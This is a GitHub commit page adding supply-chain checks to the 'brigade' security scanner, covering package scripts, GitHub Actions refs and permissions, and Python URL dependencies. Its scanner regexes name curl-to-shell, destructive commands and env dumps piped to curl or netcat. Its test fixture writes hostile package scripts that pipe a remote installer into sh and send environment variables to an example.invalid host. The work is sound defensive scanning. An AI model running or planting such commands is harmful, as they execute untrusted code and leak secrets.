Skip to content

Commit 762d81c

Browse files
committed
feat: add supply chain security checks
1 parent df9202f commit 762d81c

5 files changed

Lines changed: 233 additions & 2 deletions

File tree

CHANGELOG.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
5555
- Cybersecurity plugin roadmap covering broad agent-workspace security checks plus Brigade-specific scanner, doctor, import, and multi-harness security checks.
5656
- Built-in `security` station and `brigade security scan` for read-only agent workspace security checks.
5757
- Deeper MCP security checks for unpinned `npx`, shell metacharacters, secret-looking env values, sensitive or broad file args, high-risk local commands, large server sets, and missing timeouts.
58+
- Supply-chain security checks for package scripts, GitHub Actions permissions and action refs, Python URL dependencies, and legacy install hooks.
5859
- `brigade security scan --import-findings` to route security findings into the local work import inbox for review.
5960
- `brigade security init` to write gitignored local defaults to `.brigade/security.toml`.
6061
- `brigade security fix` to create the local security artifact directory and refresh the managed `.gitignore` block.

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -294,7 +294,7 @@ brigade add guard # content-guard
294294
brigade add tokens # tokenjuice
295295
```
296296

297-
`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, add `--output-dir .brigade/security/latest` to write redacted `security-report.json` and `security-report.md` artifacts, or add `--import-findings` to turn findings into local `brigade work import` review items. Run `brigade security review` to inspect the latest evidence bundle, `brigade security suppress <fingerprint> --reason "..."` to suppress reviewed noise with a required reason, and `brigade security unsuppress <fingerprint>` to remove stale suppressions. The scanner covers secrets, permissions, hooks, supply-chain patterns, prompt-injection patterns, and MCP configs including remote transports, auto-approval, unpinned `npx`, shell metacharacters, secret-looking env values, sensitive and broad file args, high-risk local commands, large server sets, and missing timeouts. `brigade doctor` and `brigade work doctor` report security config health, stale suppressions, missing suppression reasons, latest evidence bundle status, and whether local security artifacts are ignored. `brigade security fix` applies the narrow safe hygiene fix for that local state: it creates `.brigade/security/` and refreshes the managed `.gitignore` block. Secret evidence is redacted before reports, artifacts, or imports are written. Use `brigade security init` to write gitignored local defaults to `.brigade/security.toml`; it supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, and fingerprint suppressions for reviewed findings.
297+
`security` is a built-in station with no external managed tool yet. Run `brigade security scan --target .` for a read-only agent workspace security report, add `--output-dir .brigade/security/latest` to write redacted `security-report.json` and `security-report.md` artifacts, or add `--import-findings` to turn findings into local `brigade work import` review items. Run `brigade security review` to inspect the latest evidence bundle, `brigade security suppress <fingerprint> --reason "..."` to suppress reviewed noise with a required reason, and `brigade security unsuppress <fingerprint>` to remove stale suppressions. The scanner covers secrets, permissions, hooks, package scripts, GitHub Actions, Python dependency config, prompt-injection patterns, and MCP configs including remote transports, auto-approval, unpinned `npx`, shell metacharacters, secret-looking env values, sensitive and broad file args, high-risk local commands, large server sets, and missing timeouts. `brigade doctor` and `brigade work doctor` report security config health, stale suppressions, missing suppression reasons, latest evidence bundle status, and whether local security artifacts are ignored. `brigade security fix` applies the narrow safe hygiene fix for that local state: it creates `.brigade/security/` and refreshes the managed `.gitignore` block. Secret evidence is redacted before reports, artifacts, or imports are written. Use `brigade security init` to write gitignored local defaults to `.brigade/security.toml`; it supports policy presets (`personal`, `public-repo`, `strict`), `fail_on`, template scanning, and fingerprint suppressions for reviewed findings.
298298

299299
The current managed tools:
300300

ROADMAP.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,7 @@ Baseline coverage targets:
5454
- Review agent prompts, skills, subagents, slash commands, and workspace instructions for prompt-injection patterns, hidden instructions, URL execution, data harvesting, output suppression, time bombs, and unsafe auto-run language.
5555
- Emit graded reports with severity, category scores, evidence snippets, suggested fixes, JSON output, markdown output, HTML or bundle output, and CI-friendly exit codes. Status: started with redacted JSON and Markdown evidence bundles.
5656
- Support CLI use, GitHub Action use, and local evidence packs.
57+
- Add optional threat-intel enrichment, including MISP as an opt-in provider, without changing the default no-network local scan behavior.
5758

5859
Brigade-specific additions:
5960

@@ -64,7 +65,8 @@ Brigade-specific additions:
6465
- Provide safe auto-fix only for narrow cases such as replacing obvious hardcoded sample secrets, tightening generated allow-list examples, or adding missing ignore rules. Status: started with `brigade security fix` for local artifact directory and managed `.gitignore` hygiene.
6566
- Produce Memory Handoffs for durable security findings while keeping raw secret evidence redacted.
6667
- Add policy packs for personal dogfooding, public-repo release checks, CI gates, and strict enterprise workspaces. Status: started with `personal`, `public-repo`, and `strict`.
67-
- Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers.
68+
- Include dependency and package-manager hardening checks for agent plugin ecosystems, MCP packages, skills, and local tool wrappers. Status: started with package scripts, GitHub Actions refs and permissions, Python URL dependencies, and legacy install hooks.
69+
- Enrich reviewed indicators and suspicious package or domain findings through optional providers such as MISP, then route enriched findings into local evidence bundles and work imports.
6870
- Track false-positive taxonomy, runtime-confidence rules, suppressions, and regression fixtures as first-class project artifacts. Status: started with `brigade security review`, reasoned suppressions, unsuppress, and stale-suppression doctor warnings.
6971

7072
## Later Phase: Issue And TDD Work Loop

src/brigade/security_cmd.py

Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,10 @@
8484
REMOTE_SHELL_RE = re.compile(r"\b(curl|wget)\b[^\n|;]*(\||;)\s*(sh|bash)\b")
8585
DESTRUCTIVE_RE = re.compile(r"\b(rm\s+-rf|git\s+reset\s+--hard|git\s+clean\s+-fdx|chmod\s+777)\b")
8686
UNPINNED_NPX_RE = re.compile(r"\bnpx\s+(?:-y\s+)?([a-zA-Z0-9_.-]+)(?:\s|$)")
87+
ENV_DUMP_RE = re.compile(r"\b(env|printenv|set)\b.*(>\s*\S+|\|\s*(curl|nc|netcat|tee))")
88+
UNPINNED_ACTION_RE = re.compile(r"uses:\s*['\"]?([^@\s'\":]+/[^@\s'\"]+|docker://[^@\s'\"]+)['\"]?\s*$")
89+
PINNED_ACTION_RE = re.compile(r"uses:\s*['\"]?([^@\s'\"]+)@([^@\s'\"]+)")
90+
PYTHON_URL_DEP_RE = re.compile(r"(?i)(https?://|git\+https?://|git\+ssh://)")
8791
HTTP_MCP_RE = re.compile(r'"url"\s*:\s*"https?://')
8892
AUTO_APPROVE_RE = re.compile(r"(?i)(auto[_-]?approve|always[_-]?allow|allow[_-]?all)")
8993
PROMPT_INJECTION_RE = re.compile(
@@ -100,6 +104,7 @@
100104
MCP_SERVER_COUNT_WARN = 8
101105
MCP_SHELL_META_RE = re.compile(r"[;&|`<>]|\$\(")
102106
FINGERPRINT_RE = re.compile(r"^[a-f0-9]{16}$")
107+
GITHUB_ACTION_FLOATING_REFS = {"main", "master", "latest", "dev", "develop", "trunk", "head"}
103108

104109

105110
@dataclass(frozen=True)
@@ -781,6 +786,167 @@ def _first_npx_package(args: list[object]) -> str | None:
781786
return None
782787

783788

789+
def _scan_package_json(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None:
790+
if path.name != "package.json":
791+
return
792+
try:
793+
data = json.loads(text)
794+
except json.JSONDecodeError:
795+
return
796+
if not isinstance(data, dict):
797+
return
798+
scripts = data.get("scripts", {})
799+
if not isinstance(scripts, dict):
800+
return
801+
for name, command in scripts.items():
802+
if not isinstance(name, str) or not isinstance(command, str):
803+
continue
804+
line_number = _line_number_for(text, f'"{name}"')
805+
evidence = f"scripts.{name}: {command}"
806+
if REMOTE_SHELL_RE.search(command):
807+
_finding(
808+
findings,
809+
target=target,
810+
path=path,
811+
line=line_number,
812+
severity="high",
813+
category="supply-chain",
814+
title="Package script pipes remote content into shell",
815+
evidence=evidence,
816+
suggestion="Replace curl-to-shell package scripts with checked-in, pinned, and reviewed installer steps.",
817+
)
818+
if DESTRUCTIVE_RE.search(command):
819+
_finding(
820+
findings,
821+
target=target,
822+
path=path,
823+
line=line_number,
824+
severity="medium",
825+
category="supply-chain",
826+
title="Package script contains destructive command",
827+
evidence=evidence,
828+
suggestion="Gate destructive package scripts behind explicit operator approval and document recovery steps.",
829+
)
830+
npx_match = UNPINNED_NPX_RE.search(command)
831+
if npx_match and "@" not in npx_match.group(1):
832+
_finding(
833+
findings,
834+
target=target,
835+
path=path,
836+
line=line_number,
837+
severity="medium",
838+
category="supply-chain",
839+
title="Package script uses unpinned npx",
840+
evidence=evidence,
841+
suggestion="Pin npx package versions or move execution behind a reviewed lockfile.",
842+
)
843+
if ENV_DUMP_RE.search(command):
844+
_finding(
845+
findings,
846+
target=target,
847+
path=path,
848+
line=line_number,
849+
severity="high",
850+
category="supply-chain",
851+
title="Package script may leak environment",
852+
evidence=evidence,
853+
suggestion="Avoid dumping environment variables in package scripts, especially near network or file redirection.",
854+
)
855+
856+
857+
def _scan_github_actions(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None:
858+
rel = path.relative_to(target)
859+
if len(rel.parts) < 3 or rel.parts[0] != ".github" or rel.parts[1] != "workflows":
860+
return
861+
for line_number, line in enumerate(text.splitlines(), start=1):
862+
stripped = line.strip()
863+
if stripped.startswith("pull_request_target:") or stripped == "- pull_request_target":
864+
_finding(
865+
findings,
866+
target=target,
867+
path=path,
868+
line=line_number,
869+
severity="high",
870+
category="supply-chain",
871+
title="GitHub Actions uses pull_request_target",
872+
evidence=stripped,
873+
suggestion="Avoid pull_request_target for untrusted code paths or isolate it from checkout and secret access.",
874+
)
875+
if stripped.startswith("permissions: write-all"):
876+
_finding(
877+
findings,
878+
target=target,
879+
path=path,
880+
line=line_number,
881+
severity="high",
882+
category="supply-chain",
883+
title="GitHub Actions grants write-all permissions",
884+
evidence=stripped,
885+
suggestion="Use least-privilege workflow permissions instead of write-all.",
886+
)
887+
action_match = UNPINNED_ACTION_RE.search(stripped)
888+
if action_match:
889+
_finding(
890+
findings,
891+
target=target,
892+
path=path,
893+
line=line_number,
894+
severity="medium",
895+
category="supply-chain",
896+
title="GitHub Action missing pinned ref",
897+
evidence=stripped,
898+
suggestion="Pin actions to an immutable commit SHA or a reviewed release ref.",
899+
)
900+
pinned_match = PINNED_ACTION_RE.search(stripped)
901+
if pinned_match:
902+
ref = pinned_match.group(2)
903+
if ref.lower() in GITHUB_ACTION_FLOATING_REFS or (not ref.startswith("v") and not re.fullmatch(r"[a-fA-F0-9]{40}", ref)):
904+
_finding(
905+
findings,
906+
target=target,
907+
path=path,
908+
line=line_number,
909+
severity="medium",
910+
category="supply-chain",
911+
title="GitHub Action uses floating ref",
912+
evidence=stripped,
913+
suggestion="Pin GitHub Actions to immutable commit SHAs for release-sensitive workflows.",
914+
)
915+
916+
917+
def _scan_python_project(findings: list[dict[str, Any]], *, target: Path, path: Path, text: str) -> None:
918+
if path.name not in {"pyproject.toml", "setup.cfg", "requirements.txt"}:
919+
return
920+
for line_number, line in enumerate(text.splitlines(), start=1):
921+
stripped = line.strip()
922+
if not stripped or stripped.startswith("#"):
923+
continue
924+
if PYTHON_URL_DEP_RE.search(stripped):
925+
_finding(
926+
findings,
927+
target=target,
928+
path=path,
929+
line=line_number,
930+
severity="medium",
931+
category="supply-chain",
932+
title="Python dependency uses URL source",
933+
evidence=stripped,
934+
suggestion="Prefer pinned package versions or reviewed immutable commit URLs for Python dependencies.",
935+
)
936+
if "setup_requires" in stripped or "dependency_links" in stripped:
937+
_finding(
938+
findings,
939+
target=target,
940+
path=path,
941+
line=line_number,
942+
severity="medium",
943+
category="supply-chain",
944+
title="Python project uses legacy install hook",
945+
evidence=stripped,
946+
suggestion="Avoid legacy install-time dependency hooks and move dependencies into static project metadata.",
947+
)
948+
949+
784950
def _iter_scan_files(target: Path) -> list[Path]:
785951
paths: list[Path] = []
786952
for path in target.rglob("*"):
@@ -999,6 +1165,9 @@ def scan_target(target: Path, *, include_templates: bool = False, suppressions:
9991165
for line_number, line in enumerate(text.splitlines(), start=1):
10001166
_scan_line(findings, target=target, path=path, line_number=line_number, line=line)
10011167
_scan_mcp_document(findings, target=target, path=path, text=text)
1168+
_scan_package_json(findings, target=target, path=path, text=text)
1169+
_scan_github_actions(findings, target=target, path=path, text=text)
1170+
_scan_python_project(findings, target=target, path=path, text=text)
10021171
suppressed = [finding for finding in findings if finding.get("fingerprint") in suppressions]
10031172
findings = [finding for finding in findings if finding.get("fingerprint") not in suppressions]
10041173
counts: dict[str, int] = {}

tests/test_security_cmd.py

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,65 @@ def test_security_scan_deep_mcp_config_checks(tmp_path, capsys):
106106
assert "abcd1234" not in secret_findings[0]["evidence"]
107107

108108

109+
def test_security_scan_supply_chain_surfaces(tmp_path, capsys):
110+
(tmp_path / "package.json").write_text(
111+
json.dumps(
112+
{
113+
"scripts": {
114+
"bootstrap": "curl https://example.invalid/install.sh | sh",
115+
"clean": "git clean -fdx",
116+
"tool": "npx some-tool",
117+
"leak": "env | curl https://example.invalid/upload",
118+
}
119+
},
120+
indent=2,
121+
)
122+
)
123+
workflow = tmp_path / ".github" / "workflows"
124+
workflow.mkdir(parents=True)
125+
(workflow / "ci.yml").write_text(
126+
"\n".join(
127+
[
128+
"on:",
129+
" pull_request_target:",
130+
"permissions: write-all",
131+
"jobs:",
132+
" test:",
133+
" runs-on: ubuntu-latest",
134+
" steps:",
135+
" - uses: actions/checkout",
136+
" - uses: owner/action@main",
137+
" - uses: actions/setup-python@v5",
138+
"",
139+
]
140+
)
141+
)
142+
(tmp_path / "requirements.txt").write_text(
143+
"\n".join(
144+
[
145+
"requests==2.32.0",
146+
"tool @ git+https://example.invalid/tool.git@main",
147+
"",
148+
]
149+
)
150+
)
151+
(tmp_path / "setup.cfg").write_text("setup_requires = legacy-tool\n")
152+
153+
assert security_cmd.scan(target=tmp_path, fail_on="none", json_output=True) == 0
154+
payload = json.loads(capsys.readouterr().out)
155+
titles = {finding["title"] for finding in payload["findings"]}
156+
assert "Package script pipes remote content into shell" in titles
157+
assert "Package script contains destructive command" in titles
158+
assert "Package script uses unpinned npx" in titles
159+
assert "Package script may leak environment" in titles
160+
assert "GitHub Actions uses pull_request_target" in titles
161+
assert "GitHub Actions grants write-all permissions" in titles
162+
assert "GitHub Action missing pinned ref" in titles
163+
assert "GitHub Action uses floating ref" in titles
164+
assert "Python dependency uses URL source" in titles
165+
assert "Python project uses legacy install hook" in titles
166+
167+
109168
def test_security_config_and_suppressions(tmp_path, capsys):
110169
(tmp_path / ".env").write_text("SERVICE_TOKEN=abcd1234abcd1234abcd1234\n")
111170
report = security_cmd.scan_target(tmp_path)

0 commit comments

Comments
 (0)